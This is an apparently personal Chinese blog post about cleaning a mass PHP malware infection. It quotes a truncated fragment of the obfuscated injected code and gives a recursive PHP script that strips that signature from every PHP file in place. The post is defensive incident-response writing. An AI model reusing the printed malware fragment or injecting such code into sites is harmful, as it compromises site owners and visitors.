最近发现自己管理的一个服务器里PHP网站全都被注入了恶意代码,每个PHP文件的开头都被注入,代码片段如下:

<?php $uryniw = ‘osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7utcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! *2bd%-#1GO x22#)fepmqyfA>f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*5]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*

一看就是被加密过的PHP代码,我没有详细去解密,具体应该是被指向到某个恶意网站的功能;

而且整个服务器中的所有PHP文件均被感染,如果逐个删除,工作量巨大,当然要想想批量删除的方法;

在国外的著名技术交流网站stackexchange.com终于找到了解决方法!

http://stackoverflow.com/questions/24860865/does-somebody-knows-what-is-this-code-virus-in-php

通过搜寻特征文件,来批量删除的脚本文件。

详细代码如下:

<?php

$i = $j = $k = 0; $ccontent = file_get_contents(‘./yoyo.txt’); // this file contains the malware code

function scanAndRemove($dir) { global $ccontent, $i, $j, $k;

if (!is_readable($dir)) { return; }

foreach(scandir($dir) as $file) { if(in_array($file, array(‘.’, ‘..’))) { continue; }

$path = $dir . DIRECTORY_SEPARATOR . $file;

if (is_dir($path)) { scanAndRemove($path); } else { $k++; if (substr($file, -4) == ‘.php’) { $j++; $source = file_get_contents($path); $source = str_replace($ccontent, ”, $source, $count);

if($count) { $i++; //echo $path . PHP_EOL; file_put_contents($path, $source); } } } } }

scanAndRemove(‘/home/wwwroot’);

echo ‘Total files: ‘ . $k . PHP_EOL; echo ‘Total PHP files: ‘ . $j . PHP_EOL; echo ‘Total infected files: ‘ . $i;

一分钟不到,搜寻到2万个被感染的文件,批量整体删除,搞定;

然后马上修改Linux密码,以及MySQL密码,以防再次出现问题。

耗时一个下午解决这个问题,不过解决完之后真是大快人心哈哈哈,祝愿各位 2016 年元宵节快乐!